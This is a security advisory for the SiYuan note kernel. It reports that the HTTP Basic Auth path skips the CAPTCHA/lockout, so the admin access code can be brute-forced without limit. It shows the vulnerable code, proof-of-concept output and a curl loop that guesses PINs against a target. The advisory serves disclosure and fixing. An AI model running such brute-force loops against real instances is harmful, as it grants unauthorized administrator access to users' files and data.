Skip to content

HTTP Basic Auth path in CheckAuth() bypasses the workspace access-code CAPTCHA/lockout, allowing unthrottled remote brute-force of the admin credential

Critical
88250 published GHSA-w3xh-mmmh-r54v Aug 1, 2026

Package

gomod github.com/siyuan-note/siyuan/kernel (Go)

Affected versions

3.7.3

Patched versions

v3.7.4

Description

Summary

SiYuan protects network-exposed kernel instances with a workspace "lock screen"
access code (Conf.AccessAuthCode). This same secret can be submitted through
two independent code paths, but only one of them is protected by the
application's CAPTCHA/lockout mechanism. The HTTP Basic Authentication branch
inside the CheckAuth() middleware which guards nearly the entire /api/*
surface never consults the CAPTCHA gate and never increments the failure
counter, so it can be brute-forced with unlimited automated requests to obtain
full RoleAdministrator access. This is CWE-307 (Improper Restriction of
Excessive Authentication Attempts), with a secondary CWE-208 (Observable
Timing Discrepancy) contributing factor from the non-constant-time secret
comparison.

Details

kernel/util/session.go defines the intended throttle:

func NeedCaptcha() bool {
    return 3 < WrongAuthCount
}

kernel/model/session.go's LoginAuth() (the cookie/session login endpoint)
correctly uses it:

if util.NeedCaptcha() {
    ... // require & validate captcha before checking authCode
}
authCode := arg["authCode"].(string)
...
if Conf.AccessAuthCode != authCode {
    ...
    util.WrongAuthCount++
    ...
}

However, CheckAuth() — the middleware applied to essentially every API route
in kernel/api/router.go (400+ routes) — also independently accepts the same
secret via HTTP Basic Auth, with no connection to WrongAuthCount or
NeedCaptcha() at all:

// 通过 BasicAuth (header: Authorization)
if username, password, ok := c.Request.BasicAuth(); ok {
    // 使用锁屏密码作为密码
    if util.WorkspaceName == username && Conf.AccessAuthCode == password {
        c.Set(RoleContextKey, RoleAdministrator)
        c.Next()
        return
    }
}

No rate limiter, delay, or lockout exists anywhere else in the middleware
chain either (verified by tracing every middleware registered in
kernel/server/serve.go's Serve(): ControlConcurrency is a request
serializer unrelated to authentication, Timing/Recover/Activity/
corsMiddleware/jwtMiddleware/gzip carry no throttling logic).

Additionally, Conf.AccessAuthCode == password is a plain Go string ==
comparison (byte-wise, early-exit), not a constant-time comparison
(crypto/subtle.ConstantTimeCompare), which in principle allows a timing
side-channel to accelerate a guess. setAccessAuthCode
(kernel/api/system.go) also enforces no minimum length/complexity on the
code, so short/weak codes are permitted.

Affected code:

  • kernel/model/session.go, CheckAuth(), Basic Auth branch (~line 332)
  • kernel/model/session.go, LoginAuth() (~lines 67–140) — for comparison,
    shows the throttle that IS applied on the other path
  • kernel/util/session.go, NeedCaptcha() / WrongAuthCount (~lines 30–32)

PoC

Full kernel build requires Go ≥1.26 and access to proxy.golang.org, which
was unavailable in the review sandbox, so the control-flow logic was
extracted verbatim (unmodified conditionals/thresholds, only I/O
plumbing swapped from gin to net/http) into a minimal harness and
live-tested with real HTTP traffic:

=== Baseline ===
$ curl -s -u "testworkspace:wrongpass" http://127.0.0.1:18080/api/system/getConf
{"code":-1,"msg":"Auth failed [BasicAuth]","needCaptcha":false,"wrongAuthCount":0}

=== 4 wrong LoginAuth (cookie-path) attempts ===
attempt 1: {"code":0,"msg":"invalid auth code"}
attempt 2: {"code":0,"msg":"invalid auth code"}
attempt 3: {"code":0,"msg":"invalid auth code"}
attempt 4: {"code":1,"msg":"invalid auth code"}      <- captcha now required, as designed

=== 5th LoginAuth attempt ===
{"code":1,"msg":"captcha required"}                   <- correctly throttled

=== 500 wrong Basic Auth guesses in a tight loop ===
Guesses sent: 500, false positives: 0

=== State after 500 failed Basic Auth attempts ===
{"code":-1,"msg":"Auth failed [BasicAuth]","needCaptcha":false,"wrongAuthCount":0}  <- UNCHANGED

=== Attempt #501: correct password ===
{"code":0,"msg":"admin access granted","needCaptcha":false,"wrongAuthCount":0}      <- instant, zero friction

To reproduce directly against a real kernel build (Go ≥1.26):

# Target: SiYuan with network serve enabled and a short AccessAuthCode set
for pin in 000000 000001 000002 000003 ...; do
  curl -s -u "<workspaceName>:$pin" http://<target>:6806/api/system/getConf \
    -o /dev/null -w "%{http_code} $pin\n"
done
# Expected if vulnerable: unlimited 401s with no captcha challenge/lockout,
# then 200 on the correct code — at any point, regardless of prior failures.

Impact

Any SiYuan kernel reachable over the network (the documented/supported
"self-hosted server" deployment: WebDAV/CalDAV/CardDAV sync, mobile client
sync, LAN/VPS hosting) that relies on AccessAuthCode as its access control
is exposed to fully automated, unthrottled remote brute-force of the
administrator credential. A successful guess grants complete
RoleAdministrator privileges: arbitrary file read/write
(/api/file/getFile, /api/file/putFile), SQL query execution
(/api/query/sql), full workspace export, plugin RPC, and process control.
Impacted parties are all self-hosted/network-exposed SiYuan operators who set
a short-to-medium-strength access code, which the UI does nothing to
discourage since no minimum length/complexity is enforced server-side.


## Affected products

| Field | Value |
|---|---|
| Ecosystem | **Go** |
| Package name | `github.com/siyuan-note/siyuan/kernel` |
| Affected versions | `<= 3.7.3` (confirmed present in 3.7.3; likely present in all prior versions — mechanism is architectural, not a recent regression; maintainers should confirm lower bound) |
| Patched versions | *(none yet — leave blank until a fix is released)* |

## Severity

| Field | Value |
|---|---|
| Vector string | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` |
| Score | **9.8 (Critical)** for network-exposed instances with a weak/short access code — note in the advisory that real-world severity scales with deployment exposure and code strength, since the impact assumes a network-reachable kernel with `AccessAuthCode` set (i.e., the exact "secured server" configuration the code defends). |

## Weaknesses (CWE)

- **CWE-307** — Improper Restriction of Excessive Authentication Attempts (primary)
- **CWE-208** — Observable Timing Discrepancy (secondary/contributing)
- 

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CVE ID

No known CVE

Weaknesses

Observable Timing Discrepancy

Two separate operations in a product require different amounts of time to complete, in a way that is observable to an actor and reveals security-relevant information about the state of the product, such as whether a particular operation was successful or not. Learn more on MITRE.

Improper Restriction of Excessive Authentication Attempts

The product does not implement sufficient measures to prevent multiple failed authentication attempts within a short time frame. Learn more on MITRE.

Credits